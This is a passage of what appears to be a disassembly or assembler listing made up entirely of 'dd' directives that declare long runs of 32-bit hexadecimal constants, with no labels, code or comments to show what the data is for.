		dd 0C0A6C14h, 0EC304C23h, 0A25DEC31h, 6C5ABD13h, 9EAE6CBFh
		dd 43688BBAh, 8F584575h, 1623C581h, 0C010FC3h, 196D29A5h
		dd 0FF20F501h, 0E1E69D49h, 20C8575Ch, 70E2EA28h, 0F92AE105h
		dd 5712A11Bh, 0A6B81081h, 0E37A0E67h, 0C5FD3FDAh, 92E89032h
		dd 4DA16D95h, 6339FB3Bh, 0B2ADCE30h, 4CB101B8h,	6B68409Ch
		dd 6A1F8B62h, 65165F38h, 0C9B533FAh, 0A83FEB4Eh, 2F5E3E3Ch
		dd 0B74750DEh, 8B3FF7B0h, 19AC5F81h, 2E1F10C0h,	9BBC0B58h
		dd 0FA258726h, 3818507Ch, 0D04CAEB6h, 0F8CBC734h, 0C8C46048h
		dd 951F1425h, 820FBFCh,	0B5DD4C97h, 0F0E8D2F6h,	4E2C7ACAh
		dd 6532FDAFh, 6444BE22h, 0ED34B9DFh, 14677FC8h,	0C6CD290Fh
		dd 9CA51B18h, 54779705h, 2DD44965h, 0A9130712h,	0E022E2BFh
		dd 2C087F05h, 0A02C3594h, 27681207h, 2040602Ah,	4917DE4Fh
		dd 26B480E9h, 70880FC7h, 41650A55h, 94BEB81Dh, 2C1A00B3h
		dd 0E78177C7h, 0B7D0E8DDh, 0C880B9F8h, 94954EFCh, 72F72506h
		dd 66806E59h, 0E93D334Dh, 0E11F5C3Ah, 0FDB15EC9h, 16A56D5Fh
		dd 0D7F9665Dh, 0CEFEDB01h, 0CC03EE80h, 6CF1BE6h, 56C6271Ch
		dd 16AEF405h, 603A526Dh, 1AC368EBh, 22050936h, 0CCD19598h
		dd 0AEF4E193h, 38D53EC9h, 21513913h, 44520D3h, 0A9B73F82h
		dd 0B7945F94h, 0AF69A0FCh, 79D0581Ch, 27992C16h, 0B8E889F5h
		dd 0CCA7C5D9h, 1AC204BEh, 0A5329D7Eh, 0FF080526h, 0C6AB2AC5h
		dd 36B742F1h, 0EFDB9D1Bh, 0AB208928h, 0D801095Fh, 66559B68h
		dd 0FBF4E63h, 8AF7F737h, 5852168Dh, 0DDAB7D21h,	7ED7886Eh
		dd 13A0F739h, 0AC0BCD89h, 42905992h, 5C002593h,	9762D568h
		dd 0DC078E46h, 2D289A1Dh, 51A140F0h, 4E8E0D05h,	0E2AA022Fh
		dd 66EA2741h, 6EE415DAh, 256612A6h, 14C22A8Ch, 0FD4E1E2Fh
		dd 0FBEF7C32h, 0D6523662h, 67EE3190h, 292E191Dh, 4DBA5280h
		dd 1568257Dh, 608BDBE9h, 0AE2390C5h, 0EA4AE08Eh, 41318B8Ch
		dd 7EE86F43h, 64DE60A1h, 0C2FADA5Eh, 1C8BB217h,	0CBA707EDh
		dd 0E9161CCEh, 72E43EA2h, 0D2E2DF8h, 0AE0215FCh, 5026DA51h
		dd 0E9010A5Ah, 0A0B9FC73h, 1354DF5Ah, 0BD81A06Fh, 0D053EF0Bh
		dd 5FF78921h, 0C658BD81h, 7F3E88D6h, 0F4D2891h,	36936965h
		dd 9171F964h, 631BDCE4h, 255A4834h, 5723625Dh, 0DF45A6D3h
		dd 6001AEE0h, 27BDB6D5h, 32BF7FE6h, 7BA9294Bh, 8E76B5Bh
		dd 0CEDDBADh, 0B8AF65CFh, 74153C62h, 0B2B4FF42h, 0E496D795h
		dd 4BC8E91Ah, 2E807D10h, 3E1D482Dh, 45057401h, 0E939C41Bh
		dd 746B1661h, 0C49F1E42h, 0EB452A6Eh, 5B189693h, 0AC08A111h
		dd 0AD352AF3h, 0A82FA6A1h, 0FDABB477h, 2E681DF5h, 0B7A36667h
		dd 0D625FB4Ch, 2F3E9472h, 35671A12h, 0ED970290h, 0E3881622h
		dd 0A81061E8h, 1C5725A2h, 0BC3C4087h, 57DD09B7h, 0A0927D9h
		dd 972B79C0h, 0C03257BEh, 0DB6802DCh, 25316F5Ah, 1096917Ah
		dd 17CC1E5Dh, 0D3FC8707h, 0A4A2372h, 14B74FBh, 101D59ABh
		dd 2FF9E527h, 0AAC4C5E7h, 0D044BC59h, 69F98759h, 0BA4EDF09h
		dd 195C8030h, 481223E7h, 7E186820h, 0D0CF95ADh,	7475381Dh
		dd 368FF780h, 35E9DAF8h, 0F822556Ch, 2100D6B4h,	25651E07h
		dd 238769E9h, 6CAC5A56h, 1EF2FE19h, 4595F87h, 0A006394Fh
		dd 0E1484F52h, 21015B70h, 0C688CCB0h, 0C3B07E7Ch, 0C39728EAh
		dd 4AEAC1Bh, 0BA30B5D4h, 0BCD97D8Ch, 2A050139h,	0D6662D4Dh
		dd 43E0EA7Dh, 12EA16C0h, 8477E9A7h, 36FA1DB6h, 8A4B24C9h
		dd 0F2D8BA4Bh, 25E57D97h, 9746245Ah, 9D91F422h,	2C822E82h
		dd 0C7ADF657h, 0E027C4C6h, 8F190F8Eh, 450CC7DFh, 0C01FE6F0h
		dd 0B56DF6E1h, 0DB188848h, 41F221B2h, 66D30D28h, 0E70CB050h
		dd 0D65F58B2h, 4CDD695Ah
		dd 0D802DEBh, 6C6DFD99h, 0F5E909EBh, 0C919B32Ah, 0C92A9C5Eh
		dd 67FC6A75h, 7A02BF5Ah, 0C624C9E9h, 3B5C4C56h,	0D2206B2Dh
		dd 707536A0h, 85E5C125h, 0FC010559h, 71B36B98h,	16B8EDD8h
		dd 0A82B121Ch, 0BECA0173h, 0EB8992D1h, 7C3D430h, 33235043h
		dd 69D8D056h, 0E6F863DCh, 0A8679918h, 94668584h, 7D598A7Eh
		dd 0E2C84797h, 7D5979A7h, 929D133Ch, 30C5727h, 87F71329h
		dd 0C1AEF2FEh, 3D144FEEh, 5A8AEC30h, 4E09C366h,	609788B8h
		dd 0D78EA2B5h, 85B40A8Fh, 0EA55C7C6h, 0ED30079Dh, 0F8ABD795h
		dd 668C4B4Ah, 0AF04408Bh, 0A253E5Ah, 9D27CCAh, 73307C48h
		dd 68805DEEh, 32FE9F91h, 5B905347h, 0E957796Bh,	4599A940h
		dd 0EA346346h, 0C9970843h, 95AED877h, 48026463h, 9B8B0F49h
		dd 0D9DF4928h, 0C4318DF8h, 0BC6CBF65h, 0BAC8D834h, 30DE2D1Ch
		dd 0EE15BA5Bh, 90C210Ch, 6577F101h, 0D659AF7Ah,	4FF8D5C9h
		dd 8220DF32h, 0B860575Dh, 0F75D5545h, 0B31E10DBh, 16124B3Bh
		dd 0FAB7D067h, 35E18942h, 2A6EF9A7h, 5B0B0BB4h,	81E2F966h
		dd 55408067h, 97A62470h, 3EB84D76h, 0CFC1BAE1h,	28AC38F8h
		dd 2598CE4Fh, 0D480B57Eh, 5DECC2BFh, 0F829201Fh, 0F4CDDE09h
		dd 934689F6h, 574B2556h, 3D584200h, 0E2B87ECBh,	2B39B500h
		dd 35BFBE17h, 319C13EDh, 607904D6h, 3EBB0324h, 0C158E81Bh
		dd 4F077DEBh, 0A7C0F496h, 0D451F13h, 201BB40Bh,	0DAA4BDE6h
		dd 297D1FE1h, 0FCB10AE8h, 0EF8F44FEh, 80AEC356h, 4D02F19Dh
		dd 5F33CC1Ch, 0B744D713h, 4800E620h, 2B6E900Dh,	982014Bh
		dd 8ECDAC50h, 0A0379E8h, 0E5EDFB69h, 49303CBh, 0E6076B6Dh
		dd 0CDA7938h, 3DE8E1C0h, 414E30B4h, 0E3232D0Eh,	4BE3144Ch
		dd 0A35A34E8h, 3CAAD7F9h, 544A5CC4h, 3021DDEFh,	0BA818785h
		dd 0E2D01B53h, 2D0D7E2Dh, 2E44976h, 0EAEC8371h,	4426F977h
		dd 2F46F853h, 0B9676ADh, 1398B7BDh, 304BB368h, 5E48C78Ch
		dd 885EFBB9h, 0B7B03612h, 1B8C09BEh, 0CC5CE535h, 64A15517h
		dd 12DAF82Fh, 0F7B41AE9h, 40053AEDh, 1B61026h, 6CC631F6h
		dd 25582229h, 0F9CA5C5Dh, 105425Eh, 282517E4h, 0E052691Fh
		dd 2975C9DBh, 7661B16Eh, 2A0993ECh, 0C8CED942h,	0BAE9E11Ah
		dd 0E88052F3h, 6B39A082h, 81088890h, 71F6E509h,	161E5821h
		dd 0A0B441DCh, 6024514Bh, 0EE0F1C6Fh, 5EC943DAh, 0BA09DD4Eh
		dd 6FFE7622h, 41460925h, 35A2CCABh, 12A97B63h, 0D069AE5Ah
		dd 9F95CD60h, 0C33886C6h, 0C0B0F328h, 0B551DC04h, 0A4AF083Bh
		dd 664A678Ch, 417F7FE4h, 42FC3E6Fh, 77831C86h, 17E0EF16h
		dd 77D3661Eh, 52BB1152h, 78CFBB37h, 5D06E917h, 32CB4E8Dh
		dd 93DCAE16h, 0D18A4AC5h, 3358E60Ah, 0F4513F73h, 0E9D2B8BDh
		dd 0AF265BB4h, 7A5F7D21h, 9614403Bh, 811FD15Bh,	23B7C204h
		dd 0FD841DC8h, 0EF4F52ABh, 8367C04h, 9BD5C1BEh,	65986AD2h
		dd 0BD8F5E43h, 6254B2BDh, 4900327h, 0A359B351h,	8FE08461h
		dd 51ADE39Ah, 0FB1741DEh, 0CCBBFAC5h, 0D3A85C41h, 0D312B8BBh
		dd 65BCC2D4h, 358598Bh,	5C87C620h, 0E34A9968h, 5A0B791Dh
		dd 0D4468216h, 0D01D3E3Dh, 0E66527F0h, 7E7B5089h, 0B074B56h
		dd 0B480A828h, 2CEC803Ch, 9425FF30h, 0F2007DCEh, 0C62973F9h
		dd 892444B2h, 1F1041FDh, 0D971E4Ah, 601160EDh, 0BBB02986h
		dd 7F13435Bh, 42618BE4h, 0DBB57D31h, 675006Ch, 0E3813951h
		dd 0F63EA125h, 0F047123Fh, 9D02B9FDh, 897250E5h, 0ADD17DCEh
		dd 5887A4Bh, 0B884B2F6h, 0AA9D17EBh, 91309529h,	1AC4190h
		dd 0CC787AE4h, 0ADE9BF53h, 8331D60Bh, 2D6FA5C5h, 0E925E496h
		dd 3E7989B2h, 0EBD69547h, 5E2BBB60h, 0E9490B5Fh, 0B8144CC4h
		dd 89D5995h, 6B026Ch, 0E477B07Eh, 20D3BD73h, 5CBD550Ch
		dd 210A28D9h, 0BBE924B6h, 9D1AA821h, 0E9841AC5h, 2ABA6D6Ah
		dd 0D7C469E8h, 1B0F96Ch, 0BBE7740h, 20382A15h, 0CAC8A257h
		dd 0A89767DFh, 0FF3247Eh, 67788076h, 21353443h,	2E203B1Dh
		dd 5C1BBF40h, 14C7094Eh, 5049BDE9h, 2C67BC09h, 1200E776h
		dd 9512D9Ch, 56EADEEEh,	891C2032h, 67B2515h, 5A23A238h
		dd 5E1B28FAh, 4342C3BEh, 62BE762Fh, 1DD16B6Fh, 7654680Bh
		dd 0FF1C97DEh, 0BD73802Bh, 0E9846965h, 7ACC1B5Ah, 3B332668h
		dd 0F95D698Bh, 0B1529348h, 0CBA33FFAh, 5C04568Bh, 0DC99D245h
		dd 4C18097Fh, 31C71C07h, 5F09B0F8h, 600C4635h, 1405537Eh
		dd 16B1496h, 832C9EC5h,	2D54957h, 557E884Ah, 0E98978D1h
		dd 96B06886h, 11FB9D34h, 68575580h, 27AD51D4h, 0EA785F4Fh
		dd 0A54B4031h, 246BCE14h, 82FDBF51h, 0F1E53B5Dh, 570AA73Ch
		dd 772D7ECFh, 0E9241A1Ch, 0FCADA099h, 319DEA79h, 7B526682h
		dd 0B1E909B1h, 28038838h, 0D98858E3h, 8B47F8FDh, 2735E02h
		dd 0C003E280h, 5043E0FFh, 0EDFC9D6Ch, 6B7EDC84h, 44F651C7h
		dd 0D3BD0118h, 156D548h, 24803EE8h, 5E316433h, 7A0CF126h
		dd 7C2DB2A0h, 8883281Ch, 0EF585ACBh, 8828862Ah,	638634B3h
		dd 7BBCEEB6h, 0B8106452h, 7E562D3Fh, 1ABC0CFh, 811E5D23h
		dd 0CF4B87F1h, 6D72021Ah, 0FF8EA50Ch, 0EB4BD0B8h, 4A7C168Eh
		dd 0FB8BFF2Ch, 5B67A6D3h, 0CE51AAAh, 0B70778D7h, 0EC20D0D0h
		dd 6B55EA36h, 167F0A1Ah, 0BC685E97h, 0D0F98F50h, 0C0DBC45Bh
		dd 821ACEECh, 0A82C707Eh, 0EB40E640h, 0F30533Bh, 5BD809CCh
		dd 1B4404B3h, 0FFB8060Ah, 0F7509503h, 7DC76813h, 3BC295F8h
		dd 0A7400DADh, 0FB05AD1h, 732A10A0h, 0C1EBE916h, 45D6C146h
		dd 7FA02099h, 3B2C5960h, 9A72251Fh, 7E9C2069h, 2B2C6818h
		dd 9D061431h, 0A66F1DF1h, 225F5495h, 58207AB0h,	90F597A6h
		dd 0C619BCBAh, 61410E29h, 7E06F827h, 0FA1ED091h, 0E76B5C81h
		dd 0EA019F1Fh, 379A5B27h, 399F56Eh, 48205908h, 0EB31399Eh
		dd 93C2DD2Dh, 0AED480FDh, 938E610h, 21B5E957h, 6C20F7C6h
		dd 0FD65AA7Eh, 5B15C04Dh, 21688389h, 0A5C32A61h, 272F9CBDh
		dd 0E2942A45h, 9A1828EFh, 0D2C84F4Fh, 379F0F08h, 0A1A92F20h
		dd 2B5AC0C1h, 0CDEF17BBh, 93E28B64h, 0A167D6Dh,	0CDFED5F0h
		dd 9957A4AAh, 5124833Bh, 66D80730h, 49601C68h, 29B22722h
		dd 2D601E62h, 888A475Eh, 800191CDh, 0DDF6DCF5h,	1AAEDD4h
		dd 0C059EA30h, 0D7E902E2h, 0D7B2BDCCh, 4F008EEEh, 33A336B2h
		dd 8DE9220Bh, 82609223h, 12E258Ch, 3B49EC68h, 0F0EBB231h
		dd 50A1F36Fh, 6082CBC1h, 2F0C79B0h, 705165BDh, 1F09C928h
		dd 0D5413E58h, 0F484A427h, 814A0027h, 3E4346F2h, 8F893621h
		dd 1A574E1h, 4F4CFC9Ah,	0EEE4A9A9h, 0E909BA8Ah,	0E624D9E3h
		dd 0C4F9DCD0h, 0FC5EF240h, 4A9090C3h, 4A6DCC3Eh, 17A17405h
		dd 0E9D546E9h, 93EBA3AFh, 12324700h, 27E92B0Bh,	3B746D3Ah
		dd 0EB247CE9h, 6071CF00h, 0CDFE0DEAh, 0AF32280Bh, 9DB7036Ah
		dd 0FEA3270Eh, 0A6F0B766h, 175D8740h, 0D9043351h, 0DBA92BB5h
		dd 0D57454B7h, 1BF1BA43h, 0EB238061h, 28708CDFh, 3C72C143h
		dd 89A7220Fh, 0B6F8AECBh, 9C1940B3h, 88452A8Ch,	884BC8BCh
		dd 9CB02FDAh, 3CC65552h, 0FE72D1C0h, 0E1549D94h, 555055E9h
		dd 0FCF86920h, 36310EC9h, 0E1C01F8Ch, 390506F5h, 50D5E925h
		dd 18D697F6h, 6516EAC8h, 42FC66C8h, 0EBDD1A34h,	0C4FA5D57h
		dd 55D78B16h, 5B7168AAh, 6051E925h, 608B0FD4h, 0EF81298Eh
		dd 843B3449h, 62B86029h, 9D50019Eh, 57E901E0h, 9F2AB0BFh
		dd 0F930AE20h, 0C4FDAEFFh
		dd 9381EF29h, 0B48C3D79h, 6F17063Eh, 20BA2BDAh,	7E45B5B6h
		dd 0AE8A6961h, 13FF524h, 4AD9ECCDh, 0E9889FD0h,	0FC5E4D5Ah
		dd 0AF5C1C41h, 9543A4D6h, 9A31847Dh, 50F32433h,	0DF603649h
		dd 5DF542C9h, 0F2387891h, 0D5BD5B04h, 2181D10h,	420F66BFh
		dd 0BEE0C14Dh, 2F20F33Ah, 2465C5Bh, 646D76F2h, 0C1D83855h
		dd 0B98ACAEFh, 72DA696h, 0EEABED0Fh, 22D6F2C0h,	5CB774FDh
		dd 1E5FA55Ch, 12ECBDD5h, 0E9DD2904h, 0A78C7B06h, 0F82BE168h
		dd 0C573CC6Fh, 59EE3828h, 205BFE05h, 503CF6F0h,	0C05049Fh
		dd 8A8EE979h, 2564AE88h, 0B7D003B7h, 481D9BFEh,	0CAFEE9FCh
		dd 1664CBAEh, 0F2E9C068h, 20010D13h, 0FD7EA81h,	1026715Ch
		dd 0FB4B4F6Fh, 7AC72891h, 8E4401DCh, 0D70419D2h, 56CAD99Ch
		dd 1A105B4Ch, 4FEC7C06h, 104B7077h, 84132BDh, 0EB4B1E36h
		dd 0A3BB1A65h, 0CBB24905h, 0BD64555Ah, 21F38101h, 52320347h
		dd 0BA546520h, 9518B0BDh, 617288D6h, 2765E593h,	0ED94897Ah
		dd 7F726513h, 499FB5B9h, 3A5664CFh, 976DD83h, 0AFF5DA42h
		dd 0B16860F3h, 14B4FBCh, 8FED815Eh, 7A4D0F16h, 84188F8h
		dd 96BF242h, 824BD155h,	0BE988B7Dh, 21743842h, 5AB53EE9h
		dd 420BCD6Eh, 92F5623Dh, 163FC1D1h, 0E513A236h,	22684514h
		dd 0C9F3AC5Dh, 0A5F5D819h, 314B4C72h, 685BD805h, 7CD860B7h
		dd 39752605h, 8F70075h,	5701E70Eh, 0FDD2504Ah, 52C5C19h
		dd 0A45E5156h, 0E6BDE4F3h, 6108F0F2h, 7EBBA6C3h, 2FA67115h
		dd 97318E3h, 0C57BC2ADh, 0F15BB704h, 448DD86h, 1307E680h
		dd 7FDDA099h, 0A82BE163h, 120CA69Ah, 0F85F1901h, 0B74B7E1Eh
		dd 0EBA57FBDh, 6EC7AAA2h, 65770B0Ah, 83C70069h,	514ADF07h
		dd 195C6804h, 0C0836625h, 0F5670218h, 973B5770h, 7489F61h
		dd 0D0571555h, 6F50148Ah, 0BDF6971Fh, 6DF3189Dh, 0B84C5AF3h
		dd 6CC227E8h, 2C361C9Ah, 1349D2BCh, 0E9D5FFB0h,	2FE2301h
		dd 9BD40E17h, 8D689F42h, 0A3C0D308h, 5223FACBh,	0A870BF43h
		dd 7B44695h, 798B4956h,	31DCE341h, 93FD7529h, 7DEE2962h
		dd 66C7A36Ch, 92BF85B0h, 0D56BF3AFh, 0D7D4170Dh, 12899D5Dh
		dd 5E545A73h, 0E27DD010h, 0D8486675h, 361F16C9h, 60AC79EBh
		dd 7597ED08h, 0B42DC21Ch, 809471D2h, 220884C2h,	430B0583h
		dd 0F66CA274h, 2C072068h, 9C555Ah, 40A8525Eh, 0AF1310BDh
		dd 3309EFAEh, 1DCCDDA5h, 6D699C90h, 15355A7h, 54B8BD81h
		dd 0B93B11DCh, 0C24625C8h, 99307566h, 802CE0B2h, 0A63E5CEAh
		dd 4542F0DEh, 300A83h, 7CEE6B72h, 5303D889h, 0E780BDB7h
		dd 0FAEF9968h, 1C5BFCC0h, 0B1E58851h, 72B0A4B0h, 90C0204h
		dd 582926F5h, 0AF24955Bh, 687CE0CDh, 517F2F27h,	194A822Eh
		dd 707FBFBCh, 0CF373378h, 5FE8BA2Ah, 75981EF5h,	0C97BBB01h
		dd 0AB4CE964h, 7C84F7Bh, 3FF22F1Fh, 109169A3h, 211C6140h
		dd 0D08D3A34h, 0EF70A002h, 8E0F098Eh, 0E725C78Ch, 4F451F4Ch
		dd 17953006h, 0D4881718h, 0F865EA5Dh, 0E695F1FEh, 0C88829E0h
		dd 0D0F6590Eh, 7C34AEFEh, 0F33F2624h, 25E9E40Bh, 40F21A70h
		dd 443568A2h, 0BD943C01h, 435CC900h, 9A62E92Bh,	5D5E9F16h
		dd 0F6A1AE12h, 0F4D22F3Dh, 5D404CF3h, 0C3BF0B57h, 0D407784Dh
		dd 0BA164CEFh, 402C3B0Ah, 853AD772h, 949CC33h, 0F20450A8h
		dd 818B2301h, 4334B5h, 3D6E0EB8h, 7C273A5Ah, 2726E455h
		dd 8CC2DE85h, 0DD65640h, 0D52D6A25h, 0E527A0E7h, 0B3C389E4h
		dd 4FDD987Dh, 5675821Ah, 50D14282h, 28FA5C1h, 0C86AC041h
		dd 5B0D285Eh, 0E1FC4BD9h, 0A10428BAh, 0EE046D80h, 0CEE3DB04h
		dd 7503AA17h, 9C5FFB31h, 841747B8h, 68434239h, 0ED77334Ah
		dd 52C7301Ch, 7014B6BAh, 0A40EAFh, 67152903h, 5144B025h
		dd 20FCE97Ch, 0C17F4EDDh, 55F8E32h, 4E5209EEh, 0F38288E3h
		dd 6E116141h, 0F023042h, 0F42F7F84h, 0F0C2C8CBh, 2DC9DAF5h
		dd 6C3A723Eh, 0CF55904Ah, 0DD680B97h, 0BA307172h, 87D58F15h
		dd 925797EAh, 0A2A27F73h, 59D4E7F9h, 0A739562h,	259CA637h
		dd 3A77A8E2h, 0EEECF7CCh, 0C2DEE92Fh, 5B607FB1h, 2FB8CE28h
		dd 891E676Eh, 9FD0E029h, 4203272Fh, 4EBE22F5h, 9882A21Ch
		dd 81BA0065h, 4C1F9F51h, 0CA39D721h, 578C72AEh,	9299F40h
		dd 8964870Ah, 80C991EFh, 0C51980B0h, 0FA211201h, 3BE2FE5Fh
		dd 1EAAF04Ah, 0B4004549h, 228EF700h, 0F401718h,	0E612A12Dh
		dd 23DA0D00h, 0E92E4C0Bh, 0B880D68Bh, 56A271D3h, 410D1235h
		dd 2F25F8B2h, 4276F1FDh, 0BA006A4Fh, 60F176AAh,	581B9A1Dh
		dd 81037088h, 300AF2E5h, 4D0C0044h, 0E927126Bh,	0CBA83626h
		dd 0F29F05E8h, 977A847Eh, 0B90DA17Fh, 3C10954h,	0C94557E8h
		dd 0F702F839h, 93875h, 687E8A2h, 5294024h, 5F45A09Fh, 0E1012E68h
		dd 0A002AC6Bh, 9A4142E9h, 329C7707h, 2D0E0FCCh,	5B92F976h
		dd 7968A6CCh, 6F5AB6D5h, 2B8B030Fh, 0F70BAD5Ch,	42A80FD2h
		dd 0CC170568h, 0C83171Ah, 638C047Eh, 9971025h, 75780575h
		dd 0D71F206h, 937D397h,	4FF91CABh, 0C1FA5764h, 84600C2Ch
		dd 53F36811h, 0CBC439ACh, 0CB590E15h, 3128E13Ch, 9711E9EFh
		dd 4CDEA724h, 6C13CF81h, 0B2EEA034h, 13667C04h,	34BFC0E9h
		dd 0A401FC14h, 464C61BEh, 59417AC2h, 2AB2674Eh,	8220F07Fh
		dd 82D96DCBh, 551281E7h, 5D250653h, 0A5F2ABE1h,	3C27FEEFh
		dd 3859651Ch, 4068BB5Bh, 2CCA2CE9h, 829A82Bh, 7E15CF8h
		dd 0AC4A93BFh, 0B299F0A4h, 7EAAB6A8h, 76F96825h, 0E7056F96h
		dd 3CF0605Bh, 2C7D945Dh, 129317EAh, 0F732005h, 45FAFC81h
		dd 0E080BB04h, 1205F181h, 0AB8F62F0h, 38CE2C41h, 0C86C0C29h
		dd 0B16F0741h, 213C3A17h, 16404EE9h, 7EC0BB4Fh,	5F2AB617h
		dd 0CE74F4C6h, 55CF40Ah, 4C07F055h, 5301F50Bh, 0FC2EB951h
		dd 9FB4A41h, 4100DA46h,	6BACE9F2h, 9E83E094h, 0D947903Bh
		dd 17802476h, 5E493DCDh, 0DD7DF745h, 75AA665Dh,	9A43E034h
		dd 4B0946AEh, 0EA013595h, 0ABD4AA64h, 1B7CD329h, 0DAF57663h
		dd 0E4E97D18h, 58C6803Fh, 417EDA55h, 26A66AA1h,	0D2344C10h
		dd 51D187FAh, 6008A829h, 710E8BDBh, 0DA013D54h,	0E90801FAh
		dd 93A0807Ah, 2D250AAAh, 14966DD6h, 494907F3h, 120DBEC4h
		dd 560F2EECh, 0F16B57E8h, 0F120E78h, 0C556D780h, 0D23D68E8h
		dd 27C3BF75h, 0BF4D84CCh, 12D0B0A0h, 0C937C468h, 0D2B9F45Eh
		dd 17FA437Fh, 5CE95D0Bh, 4E42545Eh, 0D6ED66Ch, 70A48152h
		dd 0E1496E1Fh, 0A59395A4h, 4B2819A1h, 1738FE5Fh, 5D3F2EE9h
		dd 0CBF59D2Ah, 0BE7D8237h, 0BFE92501h, 0D8521541h, 85C9FA8Ah
		dd 0D9A477C7h, 5AB3BA5Dh, 89DF4413h, 95C5AC5h, 0D1102D68h
		dd 63F1CB59h, 87EFEC9h,	6C262918h, 1339FE03h, 2534DF77h
		dd 1D2B4ECh, 0AD5A80AFh, 34FD6069h, 575B59C6h, 0D4A92DC8h
		dd 29986046h, 9DAE0920h, 5B03CDF0h, 0BE386747h,	290B175Fh
		dd 7445FAD6h, 0CEE0E883h, 957F958Bh, 0B887A2D5h, 0BDE915F3h
		dd 4F75C931h, 6AC9CCD7h, 0EC3FD641h, 1056D282h,	0F49184FEh
		dd 25405EAFh, 17A209B9h, 2E8645E7h, 0AFB00606h,	392BB800h
		dd 0A305570Bh, 0E45A3EF6h, 2F4824BDh, 0B3048C94h, 0BE235F1Ch
		dd 37784A90h, 687F00DBh, 8024C88Ch, 0CF581BE9h,	0D2B5815Bh
		dd 34ECED4Ah, 0F2ADCF65h, 2F2B1BA7h, 0F947B065h, 204F5804h
		dd 6829F50h, 0BE0086A7h, 4A8E5C61h, 7EA6E1A9h, 7CC11E00h
		dd 771F183Ah
		dd 1207F841h, 0BE9A99C6h, 6F874E81h, 0FE5ABB36h, 0C5878512h
		dd 2A656811h, 4CC08B7Eh, 5AFE0E56h, 0F701A250h,	2A5C7D5Eh
		dd 78980B20h, 5098B859h, 89B5C7D9h, 18C88F90h, 9C2E6B2Ah
		dd 74E985F0h, 7B0AB7A4h, 88EF524Eh, 0F6B75F27h,	8D85CD3h
		dd 80AE3E84h, 8EECD01h,	0F6130095h, 2C5FEDDh, 80BFB450h
		dd 6363E0C4h, 24B0BA4h,	2B1017ACh, 92E967F5h, 4EEAA87Bh
		dd 4A779AD1h, 92A9E32Fh, 25E9B2E4h, 0E2C8292Ch,	62904CFEh
		dd 80065AECh, 0DBE9C5E6h, 0E3A39D21h, 0EB841A3Ah, 81403DE6h
		dd 4E6A0289h, 5C9FE92Ch, 45946801h, 0BEB42C68h,	4509E713h
		dd 0C361B85Eh, 7CA9835Fh, 78242F86h, 0C481F7EEh, 0BDAD7EB7h
		dd 7700AA4Eh, 2F6AED81h, 0E9090D54h, 4223789Ah,	52FA6163h
		dd 0BC16D95Fh, 2278AEBh, 7C2CF389h, 0FF714358h,	45F086D2h
		dd 20E48B0Dh, 8007772h,	0B870A534h, 5F8E362Eh, 110BFB72h
		dd 25F11CC7h, 6D9177B2h, 2F792D52h, 0B91A803Fh,	48630FD8h
		dd 4405A27Ah, 0EEFBD23Ah, 1DB996F4h, 0E50F0C67h, 0C1D63277h
		dd 6134FBD6h, 0BB5F4EFDh, 94F2D337h, 12C5D26Bh,	2075038Fh
		dd 46EF8B39h, 8AFDA883h, 31B83CDDh, 0E9630C82h,	0DAC8DAF6h
		dd 46F136F5h, 215B10D7h, 5201FC75h, 9ABE960Bh, 4DFEB06Fh
		dd 0F38A3AB0h, 9891167Fh, 0D588059Ah, 0CD037868h, 7EC20CBh
		dd 0E4397C5Bh, 7746CD02h, 54FD476h, 8BFFC1BCh, 207F5836h
		dd 54573BBFh, 57413C9Ah, 0FEFCAC43h, 0ECEEDF84h, 0DE01E529h
		dd 3372E959h, 4F3BF66Ah, 7E7BC592h, 0CEF42FB4h,	20585AEBh
		dd 55A00987h, 6C146165h, 5E7890Eh, 70CB6853h, 1FEE2721h
		dd 0D3FBC79Dh, 0F70420CEh, 0B427E475h, 6C14E891h, 184082B9h
		dd 0EDC54EDAh, 8FB87A36h, 59FAB6C2h, 0F4E717Ah,	0BEDF4AD1h
		dd 429D312Bh, 0AFFC092Eh, 1213B9CBh, 0BBF04030h, 2A7B0946h
		dd 0D05398F4h, 24BDDFE9h, 0B95899ACh, 11BE8005h, 1C937309h
		dd 0C6517529h, 0CB2088A9h, 0B75F956Ch, 0F83B527h, 32F2A2BBh
		dd 805809FDh, 0E9343AE2h, 0DB4B9562h, 792AF4B1h, 4E38120Ah
		dd 88272CEBh, 0AA4DDAB7h, 2BE5575Fh, 1149A88h, 2A42F4BEh
		dd 4EE32856h, 0E90C41A8h, 0F3E7C1F5h, 0F816B40Bh, 0F8765069h
		dd 180860E3h, 55AABA2Dh, 0AC268794h, 4BED9000h,	27D02163h
		dd 728920E9h, 6EAD38D5h, 8E778208h, 4E50BA9h, 61269B6h
		dd 7DB143FDh, 1B3FC516h, 3A167E12h, 272BA808h, 0EB80C840h
		dd 89AA5C4Bh, 0A2176B98h, 0EA6250B2h, 0F0A071C5h, 7D0C559Bh
		dd 27404390h, 284170Fh,	12FE8AF4h, 3AAD1975h, 10699AD9h
		dd 43773F1h, 8C0F5610h,	395FFA0Ah, 2FBFB504h, 54452382h
		dd 99F681B9h, 316DE42Bh, 0AC543071h, 0C6835F16h, 54D6F00Bh
		dd 2E52C11h, 699E4A9Dh,	0BE1E42C0h, 72EB072Fh, 5EF33B5Dh
		dd 775BD912h, 9BB5449h,	0EE7C824Dh, 798B0F61h, 0F51AAC2h
		dd 5CB25684h, 38D2C0EEh, 1506A20h, 0DF0FC8B4h, 0AB52FE95h
		dd 4E08575Ah, 0AF99139Eh, 26950437h, 56815B0h, 4D9A203Bh
		dd 0FE3F05Fh, 0CF0D8824h, 0E9575282h, 5751CA05h, 0E9F012F6h
		dd 0C83F4BD4h, 0CF0CBF16h, 5A5B6405h, 0C2E89F06h, 0F5953001h
		dd 80AE7731h, 5CE18173h, 9B3C463Ah, 4FA52D75h, 6B6CE1BFh
		dd 8D6D3EDh, 952C0703h,	0FE4F308h, 1AB3CA01h, 59F5984Bh
		dd 0EF556B9Eh, 94CEB7F3h, 1D2DFC56h, 69D30534h,	884E95FCh
		dd 0C4B50FD6h, 4E3ADE1Dh, 0EE1717D6h, 444A1BDFh, 169E7BF9h
		dd 0B1C71200h, 17CE4E39h, 30229B68h, 3BBF5759h,	0E8E2F04h
		dd 0F3E871E9h, 734BB802h, 4C706D54h, 0B3F29798h, 180C6182h
		dd 622DFF04h, 0B9D7496Ah, 1B578D0h, 111B68D7h, 0F63F302Bh
		dd 1E096625h, 5F357DE9h, 0B8B5CECCh, 83B26ED3h,	0E6771F78h
		dd 0C0721295h, 705DA769h, 35B1C379h, 1AA98861h,	94C1E689h
